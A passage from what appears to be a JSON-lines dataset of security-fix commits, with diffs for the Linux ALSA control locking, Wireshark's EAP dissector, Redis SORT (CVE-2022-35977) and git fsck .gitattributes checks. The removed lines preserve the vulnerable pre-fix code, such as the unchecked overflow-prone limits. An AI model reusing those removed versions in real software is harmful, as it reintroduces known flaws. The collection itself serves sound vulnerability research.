&kctl->vd[index_offset];\n+\tif (!(vd->access & SNDRV_CTL_ELEM_ACCESS_WRITE) || kctl->put == NULL ||\n+\t (file && vd->owner && vd->owner != file)) {\n+\t\treturn -EPERM;\n \t}\n-\tup_read(&card->controls_rwsem);\n-\treturn result;\n+\n+\tsnd_ctl_build_ioff(&control->id, kctl, index_offset);\n+\tresult = kctl->put(kctl, control);\n+\tif (result < 0)\n+\t\treturn result;\n+\n+\tif (result > 0) {\n+\t\tstruct snd_ctl_elem_id id = control->id;\n+\t\tsnd_ctl_notify(card, SNDRV_CTL_EVENT_MASK_VALUE, &id);\n+\t}\n+\n+\treturn 0;\n }\n \n static int snd_ctl_elem_write_user(struct snd_ctl_file *file,\n", "related": false}, {"section": "@@ -970,8 +966,11 @@ static int snd_ctl_elem_write_user(struct snd_ctl_file *file,\n \tcard = file->card;\n \tsnd_power_lock(card);\n \tresult = snd_power_wait(card, SNDRV_CTL_POWER_D0);\n-\tif (result >= 0)\n+\tif (result >= 0) {\n+\t\tdown_read(&card->controls_rwsem);\n \t\tresult = snd_ctl_elem_write(card, file, control);\n+\t\tup_read(&card->controls_rwsem);\n+\t}\n \tsnd_power_unlock(card);\n \tif (result >= 0)\n \t\tif (copy_to_user(_control, control, sizeof(*control)))", "related": false}]} +{"owner": "wireshark", "repo": "wireshark", "language": "C", "file_name": "epan/dissectors/packet-eap.c", "commit_id": "a8b16d74e1946c4d32bd6b880ab13b7850cc70be", "commit_message": "eap: tweak conversation tracking to avoid breaking pinfo horribly\n\nLooks like conversation_set_conv_addr_port_endpoints() from 66b441f3d is\ndesigned with this use case in mind.\n\nThis should resolve issue #18622", "patch": "@@ -1778,8 +1778,6 @@ dissect_eap(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)\n static address null_address = ADDRESS_INIT_NONE;\n static guint8 pae_group_address_mac_addr[6] = { 0x01, 0x80, 0xC2, 0x00, 0x00, 0x03 };\n static address pae_group_address = ADDRESS_INIT(AT_ETHER, sizeof(pae_group_address_mac_addr), pae_group_address_mac_addr);\n- packet_info pinfo_eapol;\n- packet_info *pinfo_conv;\n \n col_set_str(pinfo->cinfo, COL_PROTOCOL, \"EAP\");\n col_clear(pinfo->cinfo, COL_INFO);\n@@ -1815,19 +1813,11 @@ dissect_eap(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)\n * We set the port so the TLS decoder can figure out which side is the server\n */\n if (pinfo->src.type == AT_ETHER) {\n- memcpy(&pinfo_eapol, pinfo, sizeof(packet_info));\n- pinfo_conv = &pinfo_eapol;\n if (eap_code == EAP_REQUEST) {\t/* server -> client */\n- copy_address_shallow(&pinfo_conv->src, &null_address);\n- copy_address_shallow(&pinfo_conv->dst, &pae_group_address);\n- pinfo_conv->srcport = 443;\n+ conversation_set_conv_addr_port_endpoints(pinfo, &null_address, &pae_group_address, conversation_pt_to_conversation_type(pinfo->ptype), 443, pinfo->destport);\n } else {\t\t\t\t/* client -> server */\n- copy_address_shallow(&pinfo_conv->src, &pae_group_address);\n- copy_address_shallow(&pinfo_conv->dst, &null_address);\n- pinfo_conv->destport = 443;\n+ conversation_set_conv_addr_port_endpoints(pinfo, &pae_group_address, &null_address, conversation_pt_to_conversation_type(pinfo->ptype), pinfo->srcport, 443);\n }\n- } else {\n- pinfo_conv = pinfo;\n }\n \n /*\n@@ -1836,20 +1826,20 @@ dissect_eap(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)\n * as offsets for p_get_proto_data/p_add_proto_data and as done for\n * EAPOL above we massage the client port using this too\n */\n- guint32 tls_group = pinfo_conv->curr_proto_layer_num << 16;\n+ guint32 tls_group = pinfo->curr_proto_layer_num << 16;\n if (eap_code == EAP_REQUEST) {\t/* server -> client */\n- pinfo_conv->destport |= tls_group;\n+ conversation_set_conv_addr_port_endpoints(pinfo, &pinfo->src, &pinfo->dst, conversation_pt_to_conversation_type(pinfo->ptype), pinfo->srcport, pinfo->destport | tls_group);\n } else {\t\t\t\t/* client -> server */\n- pinfo_conv->srcport |= tls_group;\n+ conversation_set_conv_addr_port_endpoints(pinfo, &pinfo->src, &pinfo->dst, conversation_pt_to_conversation_type(pinfo->ptype), pinfo->srcport | tls_group, pinfo->destport);\n }\n \n- if (PINFO_FD_VISITED(pinfo_conv) || !(eap_code == EAP_REQUEST && tvb_get_guint8(tvb, 4) == EAP_TYPE_ID)) {\n- conversation = find_conversation_pinfo(pinfo_conv, 0);\n+ if (PINFO_FD_VISITED(pinfo) || !(eap_code == EAP_REQUEST && tvb_get_guint8(tvb, 4) == EAP_TYPE_ID)) {\n+ conversation = find_conversation_pinfo(pinfo, 0);\n }\n if (conversation == NULL) {\n- conversation = conversation_new(pinfo_conv->num, &pinfo_conv->src,\n-\t\t &pinfo_conv->dst, conversation_pt_to_conversation_type(pinfo_conv->ptype),\n-\t\t pinfo_conv->srcport, pinfo_conv->destport, 0);\n+ conversation = conversation_new(pinfo->num, &pinfo->src,\n+\t\t &pinfo->dst, conversation_pt_to_conversation_type(pinfo->ptype),\n+\t\t pinfo->srcport, pinfo->destport, 0);\n }\n \n /*\n@@ -2264,23 +2254,23 @@ dissect_eap(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)\n if (next_tvb) {\n switch (eap_type) {\n case EAP_TYPE_TTLS:\n- tls_set_appdata_dissector(tls_handle, pinfo_conv, diameter_avps_handle);\n+ tls_set_appdata_dissector(tls_handle, pinfo, diameter_avps_handle);\n break;\n case EAP_TYPE_PEAP:\n p_add_proto_data(pinfo->pool, pinfo, proto_eap, PROTO_DATA_EAP_TVB | tls_group, tvb);\n- tls_set_appdata_dissector(tls_handle, pinfo_conv, peap_handle);\n+ tls_set_appdata_dissector(tls_handle, pinfo, peap_handle);\n break;\n case EAP_TYPE_TEAP:\n if (outer_tlvs) {\t/* https://www.rfc-editor.org/rfc/rfc7170.html#section-4.1 */\n tvbuff_t *teap_tvb = tvb_new_subset_length(tvb, offset + size - outer_tlvs_length, outer_tlvs_length);\n- call_dissector(teap_handle, teap_tvb, pinfo_conv, eap_tree);\n+ call_dissector(teap_handle, teap_tvb, pinfo, eap_tree);\n if (size == outer_tlvs_length) goto skip_tls_dissector;\n next_tvb = tvb_new_subset_length(next_tvb, 0, size - outer_tlvs_length);\n }\n- tls_set_appdata_dissector(tls_handle, pinfo_conv, teap_handle);\n+ tls_set_appdata_dissector(tls_handle, pinfo, teap_handle);\n break;\n }\n- call_dissector(tls_handle, next_tvb, pinfo_conv, eap_tree);\n+ call_dissector(tls_handle, next_tvb, pinfo, eap_tree);\n }\n }\n }", "sections": [{"section": "@@ -1778,8 +1778,6 @@ dissect_eap(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)\n static address null_address = ADDRESS_INIT_NONE;\n static guint8 pae_group_address_mac_addr[6] = { 0x01, 0x80, 0xC2, 0x00, 0x00, 0x03 };\n static address pae_group_address = ADDRESS_INIT(AT_ETHER, sizeof(pae_group_address_mac_addr), pae_group_address_mac_addr);\n- packet_info pinfo_eapol;\n- packet_info *pinfo_conv;\n \n col_set_str(pinfo->cinfo, COL_PROTOCOL, \"EAP\");\n col_clear(pinfo->cinfo, COL_INFO);\n", "related": false}, {"section": "@@ -1815,19 +1813,11 @@ dissect_eap(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)\n * We set the port so the TLS decoder can figure out which side is the server\n */\n if (pinfo->src.type == AT_ETHER) {\n- memcpy(&pinfo_eapol, pinfo, sizeof(packet_info));\n- pinfo_conv = &pinfo_eapol;\n if (eap_code == EAP_REQUEST) {\t/* server -> client */\n- copy_address_shallow(&pinfo_conv->src, &null_address);\n- copy_address_shallow(&pinfo_conv->dst, &pae_group_address);\n- pinfo_conv->srcport = 443;\n+ conversation_set_conv_addr_port_endpoints(pinfo, &null_address, &pae_group_address, conversation_pt_to_conversation_type(pinfo->ptype), 443, pinfo->destport);\n } else {\t\t\t\t/* client -> server */\n- copy_address_shallow(&pinfo_conv->src, &pae_group_address);\n- copy_address_shallow(&pinfo_conv->dst, &null_address);\n- pinfo_conv->destport = 443;\n+ conversation_set_conv_addr_port_endpoints(pinfo, &pae_group_address, &null_address, conversation_pt_to_conversation_type(pinfo->ptype), pinfo->srcport, 443);\n }\n- } else {\n- pinfo_conv = pinfo;\n }\n \n /*\n", "related": false}, {"section": "@@ -1836,20 +1826,20 @@ dissect_eap(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)\n * as offsets for p_get_proto_data/p_add_proto_data and as done for\n * EAPOL above we massage the client port using this too\n */\n- guint32 tls_group = pinfo_conv->curr_proto_layer_num << 16;\n+ guint32 tls_group = pinfo->curr_proto_layer_num << 16;\n if (eap_code == EAP_REQUEST) {\t/* server -> client */\n- pinfo_conv->destport |= tls_group;\n+ conversation_set_conv_addr_port_endpoints(pinfo, &pinfo->src, &pinfo->dst, conversation_pt_to_conversation_type(pinfo->ptype), pinfo->srcport, pinfo->destport | tls_group);\n } else {\t\t\t\t/* client -> server */\n- pinfo_conv->srcport |= tls_group;\n+ conversation_set_conv_addr_port_endpoints(pinfo, &pinfo->src, &pinfo->dst, conversation_pt_to_conversation_type(pinfo->ptype), pinfo->srcport | tls_group, pinfo->destport);\n }\n \n- if (PINFO_FD_VISITED(pinfo_conv) || !(eap_code == EAP_REQUEST && tvb_get_guint8(tvb, 4) == EAP_TYPE_ID)) {\n- conversation = find_conversation_pinfo(pinfo_conv, 0);\n+ if (PINFO_FD_VISITED(pinfo) || !(eap_code == EAP_REQUEST && tvb_get_guint8(tvb, 4) == EAP_TYPE_ID)) {\n+ conversation = find_conversation_pinfo(pinfo, 0);\n }\n if (conversation == NULL) {\n- conversation = conversation_new(pinfo_conv->num, &pinfo_conv->src,\n-\t\t &pinfo_conv->dst, conversation_pt_to_conversation_type(pinfo_conv->ptype),\n-\t\t pinfo_conv->srcport, pinfo_conv->destport, 0);\n+ conversation = conversation_new(pinfo->num, &pinfo->src,\n+\t\t &pinfo->dst, conversation_pt_to_conversation_type(pinfo->ptype),\n+\t\t pinfo->srcport, pinfo->destport, 0);\n }\n \n /*\n", "related": false}, {"section": "@@ -2264,23 +2254,23 @@ dissect_eap(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)\n if (next_tvb) {\n switch (eap_type) {\n case EAP_TYPE_TTLS:\n- tls_set_appdata_dissector(tls_handle, pinfo_conv, diameter_avps_handle);\n+ tls_set_appdata_dissector(tls_handle, pinfo, diameter_avps_handle);\n break;\n case EAP_TYPE_PEAP:\n p_add_proto_data(pinfo->pool, pinfo, proto_eap, PROTO_DATA_EAP_TVB | tls_group, tvb);\n- tls_set_appdata_dissector(tls_handle, pinfo_conv, peap_handle);\n+ tls_set_appdata_dissector(tls_handle, pinfo, peap_handle);\n break;\n case EAP_TYPE_TEAP:\n if (outer_tlvs) {\t/* https://www.rfc-editor.org/rfc/rfc7170.html#section-4.1 */\n tvbuff_t *teap_tvb = tvb_new_subset_length(tvb, offset + size - outer_tlvs_length, outer_tlvs_length);\n- call_dissector(teap_handle, teap_tvb, pinfo_conv, eap_tree);\n+ call_dissector(teap_handle, teap_tvb, pinfo, eap_tree);\n if (size == outer_tlvs_length) goto skip_tls_dissector;\n next_tvb = tvb_new_subset_length(next_tvb, 0, size - outer_tlvs_length);\n }\n- tls_set_appdata_dissector(tls_handle, pinfo_conv, teap_handle);\n+ tls_set_appdata_dissector(tls_handle, pinfo, teap_handle);\n break;\n }\n- call_dissector(tls_handle, next_tvb, pinfo_conv, eap_tree);\n+ call_dissector(tls_handle, next_tvb, pinfo, eap_tree);\n }\n }\n }", "related": false}]} +{"owner": "redis", "repo": "redis", "language": "C", "file_name": "src/sort.c", "commit_id": "1ec82e6e97e1db06a72ca505f9fbf6b981f31ef7", "commit_message": "Avoid integer overflows in SETRANGE and SORT (CVE-2022-35977) (#11720)\n\nAuthenticated users issuing specially crafted SETRANGE and SORT(_RO)\r\ncommands can trigger an integer overflow, resulting with Redis attempting\r\nto allocate impossible amounts of memory and abort with an OOM panic.", "patch": "@@ -328,8 +328,10 @@ void sortCommandGeneric(client *c, int readonly) {\n default: vectorlen = 0; serverPanic(\"Bad SORT type\"); /* Avoid GCC warning */\n }\n \n- /* Perform LIMIT start,count sanity checking. */\n- start = (limit_start < 0) ? 0 : limit_start;\n+ /* Perform LIMIT start,count sanity checking.\n+ * And avoid integer overflow by limiting inputs to object sizes. */\n+ start = min(max(limit_start, 0), vectorlen);\n+ limit_count = min(max(limit_count, -1), vectorlen);\n end = (limit_count < 0) ? vectorlen-1 : start+limit_count-1;\n if (start >= vectorlen) {\n start = vectorlen-1;", "sections": [{"section": "@@ -328,8 +328,10 @@ void sortCommandGeneric(client *c, int readonly) {\n default: vectorlen = 0; serverPanic(\"Bad SORT type\"); /* Avoid GCC warning */\n }\n \n- /* Perform LIMIT start,count sanity checking. */\n- start = (limit_start < 0) ? 0 : limit_start;\n+ /* Perform LIMIT start,count sanity checking.\n+ * And avoid integer overflow by limiting inputs to object sizes. */\n+ start = min(max(limit_start, 0), vectorlen);\n+ limit_count = min(max(limit_count, -1), vectorlen);\n end = (limit_count < 0) ? vectorlen-1 : start+limit_count-1;\n if (start >= vectorlen) {\n start = vectorlen-1;", "related": false}]} +{"owner": "git", "repo": "git", "language": "C", "file_name": "fsck.c", "commit_id": "508386c6c5857b4faa2c3e491f422c98cc69ae76", "commit_message": "Sync with 2.39.1", "patch": "@@ -2,6 +2,7 @@\n #include \"object-store.h\"\n #include \"repository.h\"\n #include \"object.h\"\n+#include \"attr.h\"\n #include \"blob.h\"\n #include \"tree.h\"\n #include \"tree-walk.h\"\n@@ -614,17 +615,22 @@ static int fsck_tree(const struct object_id *tree_oid,\n \t\t\t\t\t\t \".gitmodules is a symbolic link\");\n \t\t}\n \n+\t\tif (is_hfs_dotgitattributes(name) || is_ntfs_dotgitattributes(name)) {\n+\t\t\tif (!S_ISLNK(mode))\n+\t\t\t\toidset_insert(&options->gitattributes_found,\n+\t\t\t\t\t entry_oid);\n+\t\t\telse\n+\t\t\t\tretval += report(options, tree_oid, OBJ_TREE,\n+\t\t\t\t\t\t FSCK_MSG_GITATTRIBUTES_SYMLINK,\n+\t\t\t\t\t\t \".gitattributes is a symlink\");\n+\t\t}\n+\n \t\tif (S_ISLNK(mode)) {\n \t\t\tif (is_hfs_dotgitignore(name) ||\n \t\t\t is_ntfs_dotgitignore(name))\n \t\t\t\tretval += report(options, tree_oid, OBJ_TREE,\n \t\t\t\t\t\t FSCK_MSG_GITIGNORE_SYMLINK,\n \t\t\t\t\t\t \".gitignore is a symlink\");\n-\t\t\tif (is_hfs_dotgitattributes(name) ||\n-\t\t\t is_ntfs_dotgitattributes(name))\n-\t\t\t\tretval += report(options, tree_oid, OBJ_TREE,\n-\t\t\t\t\t\t FSCK_MSG_GITATTRIBUTES_SYMLINK,\n-\t\t\t\t\t\t \".gitattributes is a symlink\");\n \t\t\tif (is_hfs_dotmailmap(name) ||\n \t\t\t is_ntfs_dotmailmap(name))\n \t\t\t\tretval += report(options, tree_oid, OBJ_TREE,\n@@ -1159,38 +1165,70 @@ static int fsck_gitmodules_fn(const char *var, const char *value, void *vdata)\n static int fsck_blob(const struct object_id *oid, const char *buf,\n \t\t unsigned long size, struct fsck_options *options)\n {\n-\tstruct fsck_gitmodules_data data;\n-\tstruct config_options config_opts = { 0 };\n-\n-\tif (!oidset_contains(&options->gitmodules_found, oid))\n-\t\treturn 0;\n-\toidset_insert(&options->gitmodules_done, oid);\n+\tint ret = 0;\n \n \tif (object_on_skiplist(options, oid))\n \t\treturn 0;\n \n-\tif (!buf) {\n-\t\t/*\n-\t\t * A missing buffer here is a sign that the caller found the\n-\t\t * blob too gigantic to load into memory. Let's just consider\n-\t\t * that an error.\n-\t\t */\n-\t\treturn report(options, oid, OBJ_BLOB,\n-\t\t\t FSCK_MSG_GITMODULES_LARGE,\n-\t\t\t \".gitmodules too large to parse\");\n+\tif (oidset_contains(&options->gitmodules_found, oid)) {\n+\t\tstruct config_options config_opts = { 0 };\n+\t\tstruct fsck_gitmodules_data data;\n+\n+\t\toidset_insert(&options->gitmodules_done, oid);\n+\n+\t\tif (!buf) {\n+\t\t\t/*\n+\t\t\t * A missing buffer here is a sign that the caller found the\n+\t\t\t * blob too gigantic to load into memory. Let's just consider\n+\t\t\t * that an error.\n+\t\t\t */\n+\t\t\treturn report(options, oid, OBJ_BLOB,\n+\t\t\t\t\tFSCK_MSG_GITMODULES_LARGE,\n+\t\t\t\t\t\".gitmodules too large to parse\");\n+\t\t}\n+\n+\t\tdata.oid = oid;\n+\t\tdata.options = options;\n+\t\tdata.ret = 0;\n+\t\tconfig_opts.error_action = CONFIG_ERROR_SILENT;\n+\t\tif (git_config_from_mem(fsck_gitmodules_fn, CONFIG_ORIGIN_BLOB,\n+\t\t\t\t\t\".gitmodules\", buf, size, &data, &config_opts))\n+\t\t\tdata.ret |= report(options, oid, OBJ_BLOB,\n+\t\t\t\t\tFSCK_MSG_GITMODULES_PARSE,\n+\t\t\t\t\t\"could not parse gitmodules blob\");\n+\t\tret |= data.ret;\n \t}\n \n-\tdata.oid = oid;\n-\tdata.options = options;\n-\tdata.ret = 0;\n-\tconfig_opts.error_action = CONFIG_ERROR_SILENT;\n-\tif (git_config_from_mem(fsck_gitmodules_fn, CONFIG_ORIGIN_BLOB,\n-\t\t\t\t\".gitmodules\", buf, size, &data, &config_opts))\n-\t\tdata.ret |= report(options, oid, OBJ_BLOB,\n-\t\t\t\t FSCK_MSG_GITMODULES_PARSE,\n-\t\t\t\t \"could not parse gitmodules blob\");\n-\n-\treturn data.ret;\n+\tif (oidset_contains(&options->gitattributes_found, oid)) {\n+\t\tconst char *ptr;\n+\n+\t\toidset_insert(&options->gitattributes_done, oid);\n+\n+\t\tif (!buf || size > ATTR_MAX_FILE_SIZE) {\n+\t\t\t/*\n+\t\t\t * A missing buffer here is a sign that the caller found the\n+\t\t\t * blob too gigantic to load into memory. Let's just consider\n+\t\t\t * that an error.\n+\t\t\t */\n+\t\t\treturn report(options, oid, OBJ_BLOB,\n+\t\t\t\t\tFSCK_MSG_GITATTRIBUTES_LARGE,\n+\t\t\t\t\t\".gitattributes too large to parse\");\n+\t\t}\n+\n+\t\tfor (ptr = buf; *ptr; ) {\n+\t\t\tconst char *eol = strchrnul(ptr, '\\n');\n+\t\t\tif (eol - ptr >= ATTR_MAX_LINE_LENGTH) {\n+\t\t\t\tret |= report(options, oid, OBJ_BLOB,\n+\t\t\t\t\t FSCK_MSG_GITATTRIBUTES_LINE_LENGTH,\n+\t\t\t\t\t \".gitattributes has too long lines to parse\");\n+\t\t\t\tbreak;\n+\t\t\t}\n+\n+\t\t\tptr = *eol ? eol + 1 : eol;\n+\t\t}\n+\t}\n+\n+\treturn ret;\n }\n \n int fsck_object(struct object *obj, void *data, unsigned long size,\n@@ -1229,45 +1267,58 @@ int fsck_error_function(struct fsck_options *o,\n \treturn 1;\n }\n \n-int fsck_finish(struct fsck_options *options)\n+static int fsck_blobs(struct oidset *blobs_found, struct oidset *blobs_done,\n+\t\t enum fsck_msg_id msg_missing, enum fsck_msg_id msg_type,\n+\t\t struct fsck_options *options, const char *blob_type)\n {\n \tint ret = 0;\n \tstruct oidset_iter iter;\n \tconst struct object_id *oid;\n \n-\toidset_iter_init(&options->gitmodules_found, &iter);\n+\toidset_iter_init(blobs_found, &iter);\n \twhile ((oid = oidset_iter_next(&iter))) {\n \t\tenum object_type type;\n \t\tunsigned long size;\n \t\tchar *buf;\n \n-\t\tif (oidset_contains(&options->gitmodules_done, oid))\n+\t\tif (oidset_contains(blobs_done, oid))\n \t\t\tcontinue;\n \n \t\tbuf = read_object_file(oid, &type, &size);\n \t\tif (!buf) {\n \t\t\tif (is_promisor_object(oid))\n \t\t\t\tcontinue;\n \t\t\tret |= report(options,\n-\t\t\t\t oid, OBJ_BLOB,\n-\t\t\t\t FSCK_MSG_GITMODULES_MISSING,\n-\t\t\t\t \"unable to read .gitmodules blob\");\n+\t\t\t\t oid, OBJ_BLOB, msg_missing,\n+\t\t\t\t \"unable to read %s blob\", blob_type);\n \t\t\tcontinue;\n \t\t}\n \n \t\tif (type == OBJ_BLOB)\n \t\t\tret |= fsck_blob(oid, buf, size, options);\n \t\telse\n-\t\t\tret |= report(options,\n-\t\t\t\t oid, type,\n-\t\t\t\t FSCK_MSG_GITMODULES_BLOB,\n-\t\t\t\t \"non-blob found at .gitmodules\");\n+\t\t\tret |= report(options, oid, type, msg_type,\n+\t\t\t\t \"non-blob found at %s\", blob_type);\n \t\tfree(buf);\n \t}\n \n+\toidset_clear(blobs_found);\n+\toidset_clear(blobs_done);\n+\n+\treturn ret;\n+}\n+\n+int fsck_finish(struct fsck_options *options)\n+{\n+\tint ret = 0;\n+\n+\tret |= fsck_blobs(&options->gitmodules_found, &options->gitmodules_done,\n+\t\t\t FSCK_MSG_GITMODULES_MISSING, FSCK_MSG_GITMODULES_BLOB,\n+\t\t\t options, \".gitmodules\");\n+\tret |= fsck_blobs(&options->gitattributes_found, &options->gitattributes_done,\n+\t\t\t FSCK_MSG_GITATTRIBUTES_MISSING, FSCK_MSG_GITATTRIBUTES_BLOB,\n+\t\t\t options, \".gitattributes\");\n \n-\toidset_clear(&options->gitmodules_found);\n-\toidset_clear(&options->gitmodules_done);\n \treturn ret;\n }\n ", "sections": [{"section": "@@ -2,6 +2,7 @@\n #include \"object-store.h\"\n #include \"repository.h\"\n #include \"object.h\"\n+#include \"attr.h\"\n #include \"blob.h\"\n #include \"tree.h\"\n #include \"tree-walk.h\"\n", "related": false}, {"section": "@@ -614,17 +615,22 @@ static int fsck_tree(const struct object_id *tree_oid,\n \t\t\t\t\t\t \".gitmodules is a symbolic link\");\n \t\t}\n \n+\t\tif (is_hfs_dotgitattributes(name) || is_ntfs_dotgitattributes(name)) {\n+\t\t\tif (!S_ISLNK(mode))\n+\t\t\t\toidset_insert(&options->gitattributes_found,\n+\t\t\t\t\t entry_oid);\n+\t\t\telse\n+\t\t\t\tretval += report(options, tree_oid, OBJ_TREE,\n+\t\t\t\t\t\t FSCK_MSG_GITATTRIBUTES_SYMLINK,\n+\t\t\t\t\t\t \".gitattributes is a symlink\");\n+\t\t}\n+\n \t\tif (S_ISLNK(mode)) {\n \t\t\tif (is_hfs_dotgitignore(name) ||\n \t\t\t is_ntfs_dotgitignore(name))\n \t\t\t\tretval += report(options, tree_oid, OBJ_TREE,\n \t\t\t\t\t\t FSCK_MSG_GITIGNORE_SYMLINK,\n \t\t\t\t\t\t \".gitignore is a symlink\");\n-\t\t\tif (is_hfs_dotgitattributes(name) ||\n-\t\t\t is_ntfs_dotgitattributes(name))\n-\t\t\t\tretval += report(options, tree_oid, OBJ_TREE,\n-\t\t\t\t\t\t FSCK_MSG_GITATTRIBUTES_SYMLINK,\n-\t\t\t\t\t\t \".gitattributes is a symlink\");\n \t\t\tif (is_hfs_dotmailmap(name) ||\n \t\t\t is_ntfs_dotmailmap(name))\n \t\t\t\tretval += report(options, tree_oid, OBJ_TREE,\n", "related": false}, {"section": "@@ -1159,38 +1165,70 @@ static int fsck_gitmodules_fn(const char *var, const char *value, void *vdata)\n static int fsck_blob(const struct object_id *oid, const char *buf,\n \t\t unsigned long size, struct fsck_options *options)\n {\n-\tstruct fsck_gitmodules_data data;\n-\tstruct config_options config_opts = { 0 };\n-\n-\tif (!oidset_contains(&options->gitmodules_found, oid))\n-\t\treturn 0;\n-\toidset_insert(&options->gitmodules_done, oid);\n+\tint ret = 0;\n \n \tif (object_on_skiplist(options, oid))\n \t\treturn 0;\n \n-\tif (!buf) {\n-\t\t/*\n-\t\t * A missing buffer here is a sign that the caller found the\n-\t\t * blob too gigantic to load into memory. Let's just consider\n-\t\t * that an error.\n-\t\t */\n-\t\treturn report(options, oid, OBJ_BLOB,\n-\t\t\t FSCK_MSG_GITMODULES_LARGE,\n-\t\t\t \".gitmodules too large to parse\");\n+\tif (oidset_contains(&options->gitmodules_found, oid)) {\n+\t\tstruct config_options config_opts = { 0 };\n+\t\tstruct fsck_gitmodules_data data;\n+\n+\t\toidset_insert(&options->gitmodules_done, oid);\n+\n+\t\tif (!buf) {\n+\t\t\t/*\n+\t\t\t * A missing buffer here is a sign that the caller found the\n+\t\t\t * blob too gigantic to load into memory. Let's just consider\n+\t\t\t * that an error.\n+\t\t\t */\n+\t\t\treturn report(options, oid, OBJ_BLOB,\n+\t\t\t\t\tFSCK_MSG_GITMODULES_LARGE,\n+\t\t\t\t\t\".gitmodules too large to parse\");\n+\t\t}\n+\n+\t\tdata.oid = oid;\n+\t\tdata.options = options;\n+\t\tdata.ret = 0;\n+\t\tconfig_opts.error_action = CONFIG_ERROR_SILENT;\n+\t\tif (git_config_from_mem(fsck_gitmodules_fn, CONFIG_ORIGIN_BLOB,\n+\t\t\t\t\t\".gitmodules\", buf, size, &data, &config_opts))\n+\t\t\tdata.ret |= report(options, oid, OBJ_BLOB,\n+\t\t\t\t\tFSCK_MSG_GITMODULES_PARSE,\n+\t\t\t\t\t\"could not parse gitmodules blob\");\n+\t\tret |= data.ret;\n \t}\n \n-\tdata.oid = oid;\n-\tdata.options = options;\n-\tdata.ret = 0;\n-\tconfig_opts.error_action = CONFIG_ERROR_SILENT;\n-\tif (git_config_from_mem(fsck_gitmodules_fn, CONFIG_ORIGIN_BLOB,\n-\t\t\t\t\".gitmodules\", buf, size, &data, &config_opts))\n-\t\tdata.ret |= report(options, oid, OBJ_BLOB,\n-\t\t\t\t FSCK_MSG_GITMODULES_PARSE,\n-\t\t\t\t \"could not parse gitmodules blob\");\n-\n-\treturn data.ret;\n+\tif (oidset_contains(&options->gitattributes_found, oid)) {\n+\t\tconst char *ptr;\n+\n+\t\toidset_insert(&options->gitattributes_done, oid);\n+\n+\t\tif (!buf || size > ATTR_MAX_FILE_SIZE) {\n+\t\t\t/*\n+\t\t\t * A missing buffer here is a sign that the caller found the\n+\t\t\t * blob too gigantic to load into memory. Let's just consider\n+\t\t\t * that an error.\n+\t\t\t */\n+\t\t\treturn report(options, oid, OBJ_BLOB,\n+\t\t\t\t\tFSCK_MSG_GITATTRIBUTES_LARGE,\n+\t\t\t\t\t\".gitattributes too large to parse\");\n+\t\t}\n+\n+\t\tfor (ptr = buf; *ptr; ) {\n+\t\t\tconst char *eol = strchrnul(ptr, '\\n');\n+\t\t\tif (eol - ptr >= ATTR_MAX_LINE_LENGTH) {\n+\t\t\t\tret |= report(options, oid, OBJ_BLOB,\n+\t\t\t\t\t FSCK_MSG_GITATTRIBUTES_LINE_LENGTH,\n+\t\t\t\t\t \".gitattributes has too long lines to parse\");\n+\t\t\t\tbreak;\n+\t\t\t}\n+\n+\t\t\tptr = *eol ? eol + 1 : eol;\n+\t\t}\n+\t}\n+\n+\treturn ret;\n }\n \n int fsck_object(struct object *obj, void *data, unsigned long size,\n", "related": false}, {"section": "@@ -1229,45 +1267,58 @@ int fsck_error_function(struct fsck_options *o,\n \treturn 1;\n }\n \n-int fsck_finish(struct fsck_options *options)\n+static int fsck_blobs(struct oidset *blobs_found, struct oidset *blobs_done,\n+\t\t enum fsck_msg_id msg_missing, enum fsck_msg_id msg_type,\n+\t\t struct fsck_options *options, const char *blob_type)\n {\n \tint ret = 0;\n \tstruct oidset_iter iter;\n \tconst struct object_id *oid;\n \n-\toidset_iter_init(&options->gitmodules_found, &iter);\n+\toidset_iter_init(blobs_found, &iter);\n \twhile ((oid = oidset_iter_next(&iter))) {\n \t\tenum object_type type;\n \t\tunsigned long size;\n \t\tchar *buf;\n \n-\t\tif (oidset_contains(&options->gitmodules_done, oid))\n+\t\tif (oidset_contains(blobs_done, oid))\n \t\t\tcontinue;\n \n \t\tbuf = read_object_file(oid, &type, &size);\n \t\tif (!buf) {\n \t\t\tif (is_promisor_object(oid))\n \t\t\t\tcontinue;\n \t\t\tret |= report(options,\n-\t\t\t\t oid, OBJ_BLOB,\n-\t\t\t\t FSCK_MSG_GITMODULES_MISSING,\n-\t\t\t\t \"unable to read .gitmodules blob\");\n+\t\t\t\t oid, OBJ_BLOB, msg_missing,\n+\t\t\t\t \"unable to read %s blob\", blob_type);\n \t\t\tcontinue;\n \t\t}\n \n \t\tif (type == OBJ_BLOB)\n \t\t\tret |= fsck_blob(oid, buf, size, options);\n \t\telse\n-\t\t\tret |= report(options,\n-\t\t\t\t oid, type,\n-\t\t\t\t FSCK_MSG_GITMODULES_BLOB,\n-\t\t\t\t \"non-blob found at .gitmodules\");\n+\t\t\tret |= report(options, oid, type, msg_type,\n+\t\t\t\t \"non-blob found at %s\", blob_type);\n \t\tfree(buf);\n \t}\n \n+\toidset_clear(blobs_found);\n+\toidset_clear(blobs_done);\n+\n+\treturn ret;\n+}\n+\n+int fsck_finish(struct fsck_options *options)\n+{\n+\tint ret = 0;\n+\n+\tret |= fsck_blobs(&options->gitmodules_found, &options->gitmodules_done,\n+\t\t\t FSCK_MSG_GITMODULES_MISSING, FSCK_MSG_GITMODULES_BLOB,\n+\t\t\t options, \".gitmodules\");\n+\tret |= fsck_blobs(&options->gitattributes_found, &options->gitattributes_done,\n+\t\t\t FSCK_MSG_GITATTRIBUTES_MISSING, FSCK_MSG_GITATTRIBUTES_BLOB,\n+\t\t\t options, \".gitattributes\");\n \n-\toidset_clear(&options->gitmodules_found);\n-\toidset_clear(&options->gitmodules_done);\n \treturn ret;\n }\n ", "related": false}]} +{"owner": "git", "repo": "git", "language": "C", "file_name": "fsck.h", "commit_id": "508386c6c5857b4faa2c3e491f422c98cc69ae76", "commit_message": "Sync with 2.39.1", "patch": "@@ -59,6 +59,10 @@ enum fsck_msg_type {\n 